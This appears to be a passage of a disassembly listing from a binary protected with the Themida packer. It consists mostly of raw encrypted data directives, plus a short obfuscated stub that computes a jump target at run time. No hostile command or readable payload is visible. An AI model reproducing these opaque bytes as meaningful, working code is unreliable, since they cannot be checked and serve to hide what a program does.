dd 6C25C41Fh, 0C4258641h, 86F2D801h, 0BD92A310h, 1A60CDD8h
dd 0B10297A8h, 0E7D8DE4Eh, 0DBDB4BACh, 141C08E2h, 0F0000000h
dd 37B5h, 3DBEF300h, 0F52F1CDh, 0EE1086F2h, 24052DDDh
dd 525F57C7h, 199581F1h, 575FA37h, 0FC3AAA0Eh, 7D306703h
dd 9C79E94Ah, 0F019ACB2h, 7B1086F2h, 19E4C0AAh, 0B8000000h
dd 5F57C724h, 86F2B8E4h, 7669D010h, 43B3377Ch, 0A3907A53h
dd 57E5B020h, 5F57C724h, 56D925D9h, 0D6F969CAh, 0FEC0EFE0h
dd 0A211F147h, 97A77816h, 0A50590C5h, 0A5D10FA8h, 9D2EFB1Eh
dd 9EB18216h, 0B4AA0B9h, 8F7BD7E4h, 0E4B121A2h, 3A7CEC4Fh
dd 0DEE010B0h, 0DE4EB300h, 8E252D5h, 0B9CA169Dh, 3A041510h
dd 39A90F24h, 0F363E051h, 508AEAEBh, 335FBC23h, 84E73C57h
dd 0E8982214h, 0FF1FA6B8h, 7E1AAA6Bh, 8BC009BCh, 9AAB02CDh
dd 0EF5DE8B5h, 787EAB9Fh, 416FCh, 4CBC3A00h, 87F77AA9h
dd 54C441EEh, 9E0E72C1h, 5ACA28F7h, 0F4AFDCBBh, 0C06F0676h
dd 0F926CF3Fh, 0B56A0B7Bh, 0A42FC636h, 0D9C60BBAh, 0E4A5169Dh
dd 3BC72458h, 0EB4D46B6h, 6D423B7Bh, 0A8189B88h, 86F6756Eh
dd 9420A390h, 9C71A515h, 96E83B3h, 0B3DA9D99h, 7B32D70Ch
dd 0A0107354h, 1A5DE0D5h, 43E397A8h, 0B7000000h, 3DB0BABh
dd 9C41FF40h, 91AD7E16h, 1B9824A0h, 0BD926BABh, 0BDB6DDD8h
dd 4BA81693h, 0BF7338E3h, 1B346DEDh, 0D747A57Ah, 38163DFh
dd 7C590000h, 71CC65BDh, 0A99E3601h, 1B002037h, 0B8C46DADh
dd 0BAB6AD2h, 444003DBh, 19169C1Ah, 5B7E4517h, 221693DAh
dd 0DA6DB411h, 3F101693h, 87E54E10h, 3C2E1F17h, 0F262E1D2h
dd 1AC52CC4h, 8A548434h, 0DAA8F154h, 42531693h, 0B72F96A8h
dd 0C6108932h, 0F53E20F5h, 3B140272h, 0D0979F8h, 0A0605A30h
dd 0EFD76E70h, 0C1AB64Bh, 37D343A7h, 7380B687h, 3813A70Fh
dd 37E72A99h, 0B58602B9h, 6FB8F6A2h, 6B6F5640h, 4472E246h
dd 0C5F89F4Bh, 80022F2Dh, 0F76CB510h, 3E0F02B9h, 0F77CA520h
dd 2EFF02B9h, 72A2563Ch, 1FEDD96Ch, 5F7004A3h, 9A0A69B6h
dd 0B424879Ch, 0F525D9E1h, 0D6265AE9h, 96A70ECFh, 0F399BEA0h
dd 29E27A16h, 0D38134CBh, 0A8872968h, 0C6BAE3C2h, 0CC430EEFh
dd 9F2011E1h, 7416E72Fh, 1151B439h, 493CB6h, 0AB500000h
dd 4003DB0Bh, 169BF5F0h, 4F92312Bh, 2E1693F1h, 0BE443F25h
dd 2906F99Fh, 4A4C5D41h, 6F0B5384h, 0D4827DB2h, 0ACEA5ADFh
dd 418C37D3h, 2E169349h, 1BA70B28h, 10ED2999h, 79644B3Fh
dd 0BDD56DD0h, 0BDF39Dh, 24C70000h, 525F57C7h, 9D9680F0h
dd 7B68AE1Eh, 9C0C6CF8h, 0EB8AA59Ah, 86F7A8C6h, 0F767C410h
dd 1F17EEE7h, 23918AB6h, 482292F0h, 575F62Dh, 0A7D7A711h
dd 5F002C97h, 0F825169Bh, 300D0979h, 0DFD4761Fh, 9802E858h
dd 1FA6B8E8h, 108B33FBh, 88149582h, 8479BD2Dh, 0E93093ABh
dd 941CABABh, 0A192AC83h, 45B6B921h, 1713BCF5h, 64C65D38h
dd 0BB9829F4h, 2D47B1BDh, 1D2C5h, 90007E00h, 5BCB2E05h
dd 980865BAh, 52C226FDh, 9E0E6CC3h, 0B8EBA0F7h, 0F42BCA3Ah
dd 0BD720373h, 0F926CF3Fh, 586B0A7Ah, 0DF8ACF76h, 0F071169Dh
dd 61864F4Ch, 231D4084h, 0C141F298h, 0C6FC451h, 0AB33F99Ch
dd 4003DB0Bh, 169BF5F0h, 4F92312Bh, 2E1693F1h, 78496D1Dh
dd 0F196B73Eh, 5D5F1693h, 3264D454h, 0DB02AD5Dh, 0BD1D0B6Eh
dd 0F3919Dh, 4FA50000h, 9A70E062h, 0AB91A99h, 1086F2C7h
dd 7CBA95A6h, 0A3930367h, 86F7D220h, 0ED5DDE10h, 30981B08h
dd 9A4C62E1h, 31A107DAh, 42D311Eh, 0D75535A5h, 355CE7F5h
dd 0B8108610h, 6C8A7EFh, 123DEF64h, 2550794Ch, 0A1B1086h
dd 5E863A60h, 0FA2BA6BAh, 5866496Ch, 9BA641EDh, 63E2E416h
dd 1693A73Eh, 45A7ECBDh, 0C3ECE1D5h, 84B48432h, 0CC280BBAh
dd 7647108Bh, 77E74B68h, 0C131919Eh, 0BE6AA53Ch, 0BC383EB1h
dd 0D7h, 0E88DFD79h, 0AF46B63Bh, 950580h, 0B85DCD33h, 0FE97076Bh
dd 4BAFE2A9h, 82E53ADBh, 50AC8312h, 9D1E15E0h, 4F7F482Dh
dd 9DDCADF4h, 6DCF5016h, 73E3624Fh, 0A8189A97h, 0AD1D9D96h
dd 281AEBDh, 9581F176h, 0F2D5FCC7h, 87981086h, 0A5B787A8h
dd 86F2FB1Eh, 5C08210h, 1086F2DCh, 96A18E9Fh, 97A30502h
dd 115C0E62h, 57C7242Bh, 81F1525Fh, 89F974BDh, 0BBDAB08Dh
dd 431B4BEBh, 2B9B1819h, 4D7812EBh, 16A21162h, 0ED063001h
dd 0D3771E8Eh, 0ED173A09h, 0C5D6169Dh, 1787E425h, 454CA41Fh
dd 5AC13623h, 67D75473h, 0B222A18Eh, 0B22287ACh, 35DF8B84h
dd 4A4CBC3Ch, 0F3525F6Bh, 0FDB0E783h, 1CF969CAh, 234A407h
dd 0A82h, 0F57BB800h, 0CEBC9185h, 244B2F66h, 475C5ACAh
dd 314274E4h, 3E3363D3h, 544D49B9h, 433066D6h, 5A474FBFh
dd 433066D6h, 4F6452C2h, 783C7AEAh, 81E38953h, 4C3h, 4EB8300h
dd 31241C33h, 1C33241Ch, 0AB685C24h, 8900003Dh, 0D868243Ch
dd 8900000Fh, 0BE56241Ch, 63585580h, 0D107EEC1h, 0D8F796E6h
dd 8EF68196h, 812B0949h, 0FF1B54CEh, 2EEE817Eh, 89F9E4BFh
dd 8B545EF7h, 0C483241Ch, 0BB535704h, 0AB4193Dh, 4245C31h
dd 8438F5Bh, 3D087381h, 0FF0AB419h, 835B2434h, 34FF04C4h
dd 0C4815F24h, 4, 0FA4E85E9h, 63B9C2FFh
db 97h, 15h, 7
; ---------------------------------------------------------------------------
loc_5DCA03: ; CODE XREF: Themida_:005DB9E4j
mov eax, 61B2F51h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dd 0C80ADA2h, 77F6B16Eh, 378A5192h, 48443798h, 52E20001h
dd 2B2C7EE2h, 45AA1D82h, 1A53354Ah, 9A65780h, 18AE9h, 0E6470C00h
dd 0D52C2710h, 0B198D31Ah, 0CAD1D746h, 7E41EFB4h, 9752E45Bh
dd 0A3FB6D5Dh, 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h
dd 0ACA3F49Dh, 9EB9FC9Ch, 0C945D200h, 0EE73AFh, 0BA9755FCh
dd 0E56D599Ch, 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h
dd 9549F78Fh, 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh
dd 43h dup(0)
dd 84970000h, 0F033A26Dh, 0EE69h, 2 dup(0)
dd 0E9000000h, 1001h, 1B336368h, 173EE906h, 6D68FFFBh
dd 0E9061B34h, 0FFFB1734h, 1B363268h, 172AE906h, 0E368FFFBh
dd 0E9061B36h, 0FFFB1720h, 1B380168h, 1716E906h, 0F568FFFBh
dd 0E9061B38h, 0FFFB170Ch, 1B398968h, 1702E906h, 3968FFFBh
dd 0E9061B3Ah, 0FFFB16F8h, 1B3B4D68h, 16EEE906h, 0C968FFFBh
dd 0E9061B3Bh, 0FFFB16E4h, 1B3C9768h, 16DAE906h, 3468FFFBh
dd 0E9061B3Dh, 0FFFB16D0h, 1B3DCA68h, 16C6E906h, 0E668FFFBh
dd 0E9061B3Eh, 0FFFB16BCh, 1B401868h, 16B2E906h, 0BCB1FFFBh
dd 4C44CFC1h, 0BAB45F31h, 4E36C1C3h, 0C0B25D2Fh, 7E6CCBBDh
dd 0FDCFAEA4h, 70601D12h, 0FDCFAEA5h, 62621B12h, 94C1BDAAh
dd 0A723ACh, 9F863D95h, 0F36A13FAh, 0DF6AF33Ah, 863395E8h
dd 724CDB2Ah, 0B353E814h, 0B6901940h, 0A729D6E3h, 7DF96905h
dd 6BECEF2Ch, 0D3827C6Fh, 0C1A729DEh, 4BAEE298h, 20000000h
dd 0D7D76CC4h, 0AD3EDEBAh, 0E9062FDAh, 53E1F90Dh, 0A6A0B5B3h
dd 0E57C01F3h, 0B55C052Ch, 58F9E57Ch, 6AA729DBh, 88D5B186h
dd 14A729DBh, 0F8950C65h, 47F9700Dh, 0C5ADC55Dh, 3108B1B8h
dd 0BC38AC4Ah, 6BECF7EBh, 0D00Bh, 9F86BD00h, 482AC7DEh
dd 0A6A12C35h, 6B4B58D7h, 0AD3EDF2Eh, 0EC73BB6Eh, 27564EFFh
dd 0F49FD77Eh, 2A0484F9h, 0AD3EE339h, 0FF7A28Dh, 755AF76Eh
dd 0EB083108h, 0DA5FFEF8h, 0C3DAD3Eh, 0B0976266h, 0B977D4CDh
dd 55817D6Ah, 41B353EEh, 0B0D31F32h, 4A23C4A6h, 2473CD7Ah
dd 28042707h, 79A0AD41h, 840EC97Ah, 53ED3CA3h, 8D7F0E1Bh
dd 293A0F0h, 3522C0Bh, 91AD3BE7h, 0AAE991E8h, 435FB5C8h
dd 4DFA0790h, 0D8E32D4h, 4E90000h, 846C1779h, 2EC97F9h
dd 867E097Bh, 8EA95F7h, 26941375h, 3597E6CCh, 0B818654Ah
dd 3597E6CDh, 0AA1A634Ah, 5CF9F5F2h, 38A723ABh, 0A486F54Dh
dd 210CF7D9h, 8C3F6C5Ch, 26BC10EFh, 0ABD2B7CFh, 0FC32FBB2h
dd 0AD99248Eh, 0B57C01ECh, 5C2D05ACh, 989695E4h, 0B353E2A2h
dd 74211D0Eh, 4EA729DBh, 0D77E2756h, 0C895DD8Ch, 7B1E08A1h
dd 47A729DBh, 5901964h, 4512D0Ah, 90A729DCh, 621990E9h
dd 8CC6E054h, 46C3237Ah, 72FC73BAh, 1B018602h, 0B9F56BECh
dd 0C7000000h, 0E4B39924h, 1D6286CDh, 0A8C178C2h, 230A49F1h
dd 6A270714h, 2AAD3E3Bh, 3B5603FFh, 1346AD3Eh, 0C4A6435Ah
dd 55D6B0B9h, 0F1AD3E40h, 7A0587F6h, 1473EA93h, 0E0DE4D9Ch
dd 0B3534B32h, 68D5B762h, 0CAB39DD0h, 7BB2CBBFh, 0D8CE7F6Ch
dd 0AB6FCDA5h, 0EBAD40D2h, 2E24B13Eh, 0A5307D4Fh, 1ED7CEAFh
dd 26573D58h, 77BBE32h, 8F33EEFAh, 0C84h, 97B02F3h, 91F38A7Eh
dd 0B7D00E6h, 97F98480h, 157706ECh, 0E4C62096h, 634C3799h
dd 0ECDFAA1Ah, 59543F91h, 0FFECA424h, 23AA52FFh, 0FB5342A7h
dd 5AD9A486h, 0DF306D49h, 0D96CAD3Eh, 601990EDh, 0A26D6119h
dd 44F2D2ABh, 0A4F89F86h, 60BA0B4Bh, 0DE6F7CB5h, 670E97E6h
dd 12FD980Fh, 14AC196Bh, 0BA4826C5h, 0DAB35404h, 94C362Fh
dd 0DFA729BAh, 334A41CCh, 0C1AB832Ah, 0D5F4B531h, 14A76BECh
dd 83588B53h, 28680E4Fh, 72h, 1D6CC49Ah, 7BA300Eh, 0E9DAB354h
dd 29B5500Dh, 0E7374CA7h, 566EC861h, 821B521Bh, 29D7F598h
dd 0EF83F3A7h, 0ECF03673h, 44C26Bh, 0C4F40000h, 300E1D6Ch
dd 0B35406EEh, 0D8858172h, 0F0A729B6h, 0BCFF6C68h, 29500BB5h
dd 3C651451h, 296B2F62h, 9BAB9A7h, 0D8291864h, 119BD3A2h
dd 3B6425A1h, 24376BECh, 29130B4Ah, 9AE089A7h, 1EF6h, 9724C800h
dd 0F70750AAh, 1802B8E9h, 9FEBC0CFh, 7AFE90E6h, 35000008h
dd 0C2DBA288h, 0C465630Bh, 0BAD7D76Ch, 0DAAD3EDEh, 0DE500DE9h
dd 1D4CAD3Eh, 84923754h, 89D60E1Fh, 8D4343B0h, 75B35989h
dd 69FDEC8h, 0B3E274Fh, 27B711Ch, 1FACBF2Ch, 0EC2BD676h
dd 8BE34Eh, 6D187805h, 0FFECFB82h, 1A24594Eh, 0A723CE7Bh
dd 1F4AF019h, 4F4578D0h, 717E372Eh, 23CEC895h, 0CCA5D4A7h
dd 0FF385F5Fh, 0AD5CAD3Eh, 0FF988F3Eh, 9713BC9Eh, 7A03EA80h
dd 2A032AE3h, 0C5C04D5Ah, 0DCD382B8h, 7A0B08A1h, 6846E598h
dd 0AD3EB529h, 1B78BE6Bh, 782D689Dh, 0E862EDC2h, 0F2A4A291h
dd 0A2B353E4h, 7211A177h, 0B673FC10h, 0ABF14h, 0AAD3B800h
dd 423B2FDAh, 0ACD1B742h, 483531DCh, 0A6D7BD48h, 0F7118726h
dd 9D686815h, 3CC7C9B4h, 0DDA82855h, 61398BF2h, 0A8CB8A64h
dd 0DCC9A723h, 0E0163766h, 4EEAAD3Eh, 6B65F0FFh, 8CE28B12h
dd 0E599F9Fh, 0CC7DB35Ah, 0A2F14FFCh, 0DE5BA985h, 0CA7FAD3Eh
dd 0E4B5B05Dh, 0E8E891ECh, 59240ABBh, 1E7B7221h, 861F5627h
dd 0B3408F29h, 5A0D94D3h, 83FCCB3h, 0C4B99B55h, 4E332787h
dd 1D0A3F28h, 90227570h, 96EF077Fh, 12FDCFA6h, 5F3B621Bh
dd 27231930h, 0D44378D0h, 0E0C3C5E3h, 0EE8072Eh, 2D387368h
dd 0BD3F1544h, 0CF7A0BC7h, 0A0EB052h, 84690000h, 4EC97F9h
dd 826C1779h, 6FE89FBh, 886A1577h, 0A61493F5h, 0B517664Ch
dd 3898E5CAh, 0B517664Dh, 2A9AE3CAh, 0DC797572h, 0B8A723A8h
dd 6CC475CDh, 8D7F0E1Dh, 0DE8DCCAAh, 5A0FAD3Eh, 2AB97413h
dd 0AEB8E736h, 358B6B88h, 71B3593Dh, 0DC95E8E4h, 0BAF5C4Fh
dd 16CA948Eh, 0E9E46FC7h, 0EBDFBAB0h, 0BC2DB92h, 0B0976262h
dd 97EAA787h, 7FAAA723h, 0E860AFB6h, 709C9A99h, 8CAD3EC8h
dd 0A28910F9h, 620B92DBh, 0AE0C2125h, 930E435h, 0CEAF9EAh
dd 0AD3E2D4Dh, 39541A4Fh, 0B25D2F4Eh, 4C9BC2BBh, 0A886A5F4h
dd 0B3595E1Fh, 0E69794C5h, 0E4717EFFh, 0C4B9B0E9h, 0D4C1C56Dh
dd 8E180127h, 0E78F7DD6h, 0A5BCC1ACh, 237098B9h, 81D068A7h
dd 0A0F09472h, 7DACAD3Eh, 95E8DF6Eh, 7157E633h, 80A9E8C6h
dd 3EEBAD3Eh, 19143FF7h, 52EE3D64h, 0BA0AE403h, 0DEB359B0h
dd 8835322Bh, 0BC2DBA2h, 7073221Ch, 0F821A723h, 0A8F75142h
dd 947BAB8Bh, 0EE1BAD38h, 0B26642Ah, 8D21D8FAh, 8F0h, 0F5D7A687h
dd 7557260Ah, 0F7D9A48Ah, 6B5D200Ch, 0F1D3AAA0h, 0C8AA4432h
dd 3F28D3B5h, 0D0C34E3Eh, 3530DBADh, 0E3D04848h, 23A6B6E3h
dd 1F6FE6A7h, 16FA9F86h, 0BBB33E67h, 3BF29BC2h, 0D17C6BF2h
dd 0BECDA5D8h, 22AFB6C7h, 0BB564F2Eh, 6B3AAD3h, 84EE089Ch
dd 0DC801BDDh, 59DD5E17h, 0C7B6B1C9h, 69D1D6C5h, 7257201h
dd 97000000h, 4F27Fh, 48823100h, 0E5989441h, 6C5D15BCh
dd 886685D4h, 0B353E88Ah, 0ACE9C5D6h, 0E8A729D5h, 85D4B241h
dd 17A729D5h, 26530C62h, 0A72A85A1h, 0B3627A35h, 1879C1BCh
dd 33E251A0h, 8B263F3Eh, 24CDD4A9h, 2A04254Dh, 0DE352E78h
dd 8AC7A71Ch, 0ADA32EEh, 0A7F6D05Fh, 0F5DA32EEh, 1774ED44h
dd 0E1DD4A99h, 0E04B616Ch, 6152E188h, 7AC0BDB4h, 789F4DBh
dd 0F7866B1Ah, 6419143Fh, 16E900F0h, 71158C2Fh, 7FCh, 0E1E39A7Bh
dd 794B3216h, 0E3E5988Eh, 7F512C18h, 0EDDF9E94h, 0CCBE584Eh
dd 3B34DFB1h, 0D4B74242h, 715C27A9h, 0E7E4BC0Ch, 23A64A07h
dd 0E35B4AA7h, 0CCB19924h, 7D00E7A6h, 1A6349E4h, 6EA31DAAh
dd 0FCBB0524h, 89CDED16h, 8E1A0B48h, 2F0F1C55h, 0B359AF9Fh
dd 18A542F7h, 3380502Dh, 62D1ACA2h, 23703564h, 7CB267A7h
dd 0FEA7D6D1h, 2BC817B1h, 0D8A58D38h, 0A068A4A2h, 0E594AD3Eh
dd 0ADD0B746h, 483530DBh, 0DF9E9421h, 5348179h, 9436F3FAh
dd 768h, 6D5F1E0Fh
dd 0FDCFAEA2h, 6F611C12h, 0F3D5A8A4h, 695B2208h, 5042DCCAh
dd 0B7B05B2Dh, 583BC6C6h, 0EDD8A325h, 6B684090h, 23A5CE8Bh
dd 67D7CEA7h, 1A373724h, 7AAD3EDFh, 0B1CCC2CFh, 61B00889h
dd 0F18F4D2h, 1544B35Ah, 0B3846716h, 23AE86D3h, 0A6316A7h
dd 6606F493h, 0E7D96C65h, 0BA4BE88Eh, 2E3DAAD3h, 235B0150h
dd 0B4C9C1A7h, 1878BE6Bh, 8B5826Dh, 8D445D20h, 235AE4B1h
dd 0D7A3B0A7h, 0BD28C8AFh, 0BCE58CE5h, 34493ECFh, 0DDAE842Dh
dd 4171463h, 0F17A1717h, 0EF1AA722h, 0F971BD47h, 9CCDAD37h
dd 0B81FCB8h, 0D57930FAh, 6B8h, 0DDAFCEBFh, 4D3F3E32h
dd 0DFB1CCC2h, 43453834h, 0D9ABD2B8h, 0A0926C5Ah, 2720EBDDh
dd 0A88B7656h, 1D08F3D5h, 0BBB87060h, 23A49EBBh, 3787FEA7h
dd 15FA9F86h, 38452D68h, 501F201h, 0AD3EDE58h, 425D1544h
dd 0A4BDC0A7h, 97AF43B3h, 0AF5ECDB0h, 0F59CC5B8h, 4D5A493Dh
dd 0A97201F7h, 7, 2C57F1Bh, 86310000h, 68C7DE9Fh, 817281D0h
dd 0D6BBDED4h, 0B6C1CEA7h, 0FD8C2B0Ah, 0F7D12B03h, 23B35921h
dd 644CF9F6h, 0D059019h, 1D71C970h, 5B027B72h, 2FA1DCCEh
dd 0B59126A2h, 0A722FFE8h, 0D48FEEE2h, 4C5FCCA5h, 0AFB6C7C1h
dd 0D9D63006h, 47AD3E2Fh, 77061512h, 0BC75EC91h, 3DF01342h
dd 0C1BCAFADh, 336F1A8h, 180FBE2Bh, 0AD986365h, 85B063D0h
dd 0BBF31A8Bh, 83AAD3B6h, 3319B4ABh, 9C730F64h, 4E366A67h
dd 8549062Fh, 0A7C0A40h, 0CA2940F9h, 29543B6Eh, 0CFE3E350h
dd 0EFB352F9h, 0FC672F54h, 0DD94CF41h, 10F4AB77h, 9A2CE5FCh
dd 5A4h, 299BE2D3h, 0B1136A5Eh, 2B9DE0C6h, 0B7196460h
dd 3597E6CCh, 4E60076h, 836C1779h, 0CFF8AFAh, 79741F71h
dd 1F0C8404h, 23A3721Fh, 0DB3322A7h, 0C7DE9F86h, 854432Ah
dd 5716A78Bh, 24B1B881h, 0BB564F2Eh, 1BFCA5D8h, 60D3079Bh
dd 5F465ED6h, 7281AE1Eh, 3EA7C594h, 0CCA2D7ADh, 1C04C5Dh
dd 7AC72h, 7F1E0000h, 144h, 0DE9F8631h, 56BA67Ah, 871BD6FAh
dd 528h, 0AD1F5E4Fh, 3D8FEEE2h, 0AF215C52h, 3395E8E4h
dd 0A91B6248h, 90829C0Ah, 0F7F09BEDh, 987B0686h, 2D18E3E5h
dd 0ABA88050h, 23A38ECBh, 27970EA7h, 807A9724h, 4B2B8C37h
dd 7D6823h, 570600F3h, 73AD3E06h, 1322FD80h, 923B621Bh
dd 810C93DBh, 8D6EF786h, 666179E9h, 2166B517h, 0D572011Fh
dd 21h, 3E5B5B48h, 5EAD3E0Fh, 0D59CE1C7h, 0BD7F2B9Dh, 92000000h
dd 0F66F0E03h, 7F99F73Fh, 0B0h, 396CC431h, 0E8072E4Fh
dd 4F0EE8FBh, 4DAD3EDEh, 1CE8561Ch, 38B35A10h, 0ADAEEBCBh
dd 3BEEA723h, 18611C0Eh, 17826A1Bh, 4E244D30h, 93CF453h
dd 0EB927920h, 2FCEB42h, 0AD38D378h, 2F27ED1Ch, 0A1FA0B7Ch
dd 45A46E8h, 381D0000h, 0D0B84345h, 3630DBADh, 0D2BA4547h
dd 3C2ED9ABh, 0FAF04F41h, 71532A20h, 0ECDCA186h, 71532A21h
dd 0EEDE9F86h, 203D3936h, 7CA723A3h, 6CC4B909h, 0FB300E1Dh
dd 99B3542Dh, 0E269CD8Ah, 3FF6969Fh, 522B25B0h, 98163872h
dd 0C1ACA729h, 2CDFCCBCh, 0D6BA2523h, 0B73FE8A7h, 0DFC984AAh
dd 0F563079Eh, 4D000003h, 0E1D6CC4h, 4DC46E1Dh, 92C9FB5Bh
dd 6DA662DCh, 0A7D2B359h, 8217B1FEh, 0A29CE1D3h, 0A7234CF3h
dd 32C178A1h, 38732A54h, 59BF6AADh, 0FA0BDFF3h, 0BD8628E1h
dd 0BA000003h, 5924A4D9h, 0D1BC0C71h, 5B26A6D7h, 0CFBA0A73h
dd 9130A0DDh, 720B011Bh, 0FB826712h, 720BFE89h, 0FD806712h
dd 1816138Bh, 0A723A179h, 24D42A1Bh, 0A3CBB299h, 0AC3B8A26h
dd 5A0FFAD2h, 0FCEB1EB3h, 20228F4Fh, 0D39BE4DEh, 0BDC0A756h
dd 14413D2Eh, 80A72349h, 622DA1D9h, 3C8B126Bh, 0B8B63584h
dd 0AD3E789Fh, 26D75405h, 0C34E3E3Fh, 0BBB8B1CCh, 2258250Ah
dd 0EDE417B1h, 6C4AE990h, 0B3534A2Ah, 0D9A48736h, 145129D0h
dd 0DC4BEF65h, 0CC45FC10h, 3273Ah, 225B5000h, 8AF3D7A2h
dd 24594F3Ah, 90EDD9A4h, 1E5F5540h, 7F990FAEh, 0F5A0F08Dh
dd 840F81FCh, 0F5A0F08Dh, 890183FAh, 0A1F3A29Ch, 0B4A1A723h
dd 0DE9F865Eh, 563DC8C7h, 48C95341h, 0C66FA902h, 93EAE570h
dd 0DD2C8431h, 2412704Eh, 1742B353h, 12E1B48Eh, 6707A729h
dd 2B2A7FFBh, 2ECE6BECh, 0
dd 0E1D6CC4h, 53E20A30h, 52B9CAB3h, 0BC7E57D3h, 0BD1AC233h
dd 0C6E1CF8Eh, 490CF66Fh, 9FA72952h, 6227A30Fh, 966BEC6Fh
dd 0DCh, 0DE9F8628h, 35482AC7h, 0F3A6A12Ch, 38B77EFFh
dd 0DF0E4B2Bh, 0DB8EAD3Eh, 86810C93h, 0CC9B95F7h, 16AD3EE3h
dd 0F9846A2Fh, 2070C970h, 0E4037A75h, 4B98E657h, 90E6532Fh
dd 0AFFEBA19h, 0D1B44640h, 21ACB353h, 37A7425h, 0CF7A332Ah
dd 5009A0DDh, 0BC0C3D2Ah, 94E9DE6Fh, 0BD0E640Dh, 3737B403h
dd 0AD41781Bh, 0B461CE7Bh, 4330BFBEh, 3C261643h, 9BD386ADh
dd 514DFE2Bh, 0F119DE86h, 0A587C66Ch, 0DAE484D8h, 0F1A8FA07h
dd 20B5Dh, 0F6876C00h, 7607EB96h, 0F8856B16h, 7C01ED98h
dd 0F28B810Ch, 4BA51392h, 0C9B41469h, 602B9DE0h, 0C9B41469h
dd 752D9FDEh, 0A0DF7E78h, 0C8BDA723h, 6397247Ah, 0BF674C5Bh
dd 5339541Ah, 0B8AF5A2Ah, 714DEAE1h, 0AD3E3124h, 0F970C970h
dd 2997F940h, 4D396CC4h, 0D5803930h, 5ECDA4D9h, 53E2DA60h
dd 0E04FFAB3h, 0DBA6F3D3h, 43F6A729h, 0C78A74EBh, 21A729DBh
dd 0F2A31D95h, 0CAB39AFFh, 1B531AD3h, 0ECF77B0Ch, 0EB7B6Bh
dd 1FAE0000h, 0AB1D5528h, 1E219724h, 65D9308Eh, 0F6877E0Dh
dd 8DF0E26Fh, 4F392A14h, 0A28DAD3Eh, 4EFC9995h, 8D98AD3Eh
dd 26CFD6A7h, 79A6264Fh, 4ECD8C6Ah, 9ACFAD3Eh, 0CBCEB9D4h
dd 821198E5h, 17522CDDh, 0EAA7CE9Ch, 0A5BC7508h, 8C9BEA46h
dd 0F5B1EC9Fh, 0B9FDDC3Eh, 72738381h, 5CEFB353h, 54569DC9h
dd 89F4DD9Fh, 0CEAFA5B0h, 0F581ED7h, 63DD6A5Ah, 10A1F0CEh
dd 0F3A729h, 29105706h, 5D1445A7h, 1C171714h, 0B8AD40B8h
dd 0B591A291h, 0AD3C75E8h, 3CAD85B4h, 0E2E29B91h, 0D4483517h
dd 0FA07025Ah, 0D92FD34Eh, 9E000000h, 1500D0ADh, 0A570601Dh
dd 7F2D2ABh, 0A36E5E1Fh, 3DFCCCB1h, 0BEBFB54Fh, 2F4E43CEh
dd 0BEBFB25Dh, 314C43CEh, 0ECCAC75Fh, 0A7239EADh, 860876EFh
dd 0CF7D9A4h, 3CCF5C21h, 0EB2989B2h, 4090E672h, 0DE9F8692h
dd 0F4432AC7h, 3EDE5BFAh, 691039ADh, 0F5EDA67h, 0E792620h
dd 62F3B35Ah, 0DE970E6Fh, 8D9ACF98h, 0B4132BFEh, 99B30D3Ch
dd 5A7714F0h, 502EBD32h, 0A723BC01h, 1990E693h, 0F5886B1Ah
dd 0DE6DC56Ch, 2ACAB0E7h, 241869E1h, 95907B4Dh, 73E5C1E8h
dd 62BE2034h, 57E660D4h, 0DB920B72h, 8A0DF893h, 0DEBEF1E9h
dd 0E7EB758h, 78F18C83h, 158CF1DDh, 4940CD5Eh, 470FE34h
dd 6A13FB8Ah, 59F43AF3h, 0D2BD0F6Eh, 67FBA2DBh, 8, 0B3992449h
dd 8317A4CAh, 0D1D8A586h, 2D344944h, 0CDD4A9A0h, 2F364740h
dd 0D4CDB0A2h, 332A5339h, 0D6CFAE96h, 8128553Bh, 0E881FCF4h
dd 0E0895004h, 405h, 4E88300h, 8B240487h, 36682424h, 89000000h
dd 89512404h, 4C181E1h, 81000000h, 4E9h, 240C8700h, 240C895Ch
dd 1B322B68h, 24048B06h, 4C481h, 8B540000h, 0C481240Ch
dd 4, 8BB53h, 0CB010000h, 1C8B0389h, 4C48324h, 57240C8Bh
dd 0C781E789h, 4, 4C781h, 3C870000h, 34FF5C24h, 0C4835824h
dd 74EE904h, 4824FFFBh, 92CA2E72h, 4116B8BCh, 0C503061Bh
dd 0AB3EE0FFh, 4D7E1F1Ch, 8B787437h, 0AF0E3873h, 26855FFDh
dd 7E85D45h, 15000000h, 7B3FE764h, 94B58F4Ah, 7761BA5Fh
dd 0C7814CA0h, 70DFh, 0CAB70F56h, 2CA2BB5Eh, 0EB81713Ch
dd 713C1094h, 3810Fh, 0F2800000h, 8A37FF1Eh, 0CE958EBh
dd 8B000000h, 22DF6604h, 0ED18204Ah, 815DC465h, 0B25C70E8h
dd 0BE822h, 0A7790000h, 5292D895h, 123D9BCDh, 0F2816696h
dd 815A1DFAh, 0C40F86C0h, 81F08A31h, 31050EF0h, 7E28103h
dd 89468FBBh, 0DE907h, 11470000h, 45DFBF8Dh, 1B37ACE1h
dd 83897329h, 5E901EFh, 88000000h, 38D6A006h, 814F4F4Fh
dd 0C9588EF6h, 850F4B22h, 0FFFFFF89h, 4510E981h, 8D8D4F2Bh
dd 61B435Fh, 0EEB86652h, 870F5AFDh, 0Eh, 9E9h, 17856A00h
dd 0BDC4C506h, 8D89F167h, 6152721h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 18h, 34C35747h, 0EE44DA86h, 1D8D31F5h
dd 0C7061527h, 1504CD85h, 72EC06h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 8091715Ch
dd 14E9CFD3h, 42000000h, 0FA9815CEh, 56A242Ah, 0CB67D726h
dd 37B2C23Dh, 315DD0D1h, 15223595h, 1585C706h, 61511h
dd 8B000000h, 95B5FFF0h, 6A061505h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 1A3AC355h
dd 609E457Ah, 0F7B70F17h, 2C995FFh, 6A0615h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 190424h, 53430000h, 3A5ADDC3h
dd 6A37422Eh, 2195FF00h, 8B06152Eh, 0B76AEBC0h, 0E93AA788h
dd 66DA58E6h, 1C9764C5h, 848A2104h, 0CC0212B1h, 8683067Dh
dd 3A2CEFh, 209425FCh, 0C9E5A942h, 5841C7EAh, 5FD20EEFh
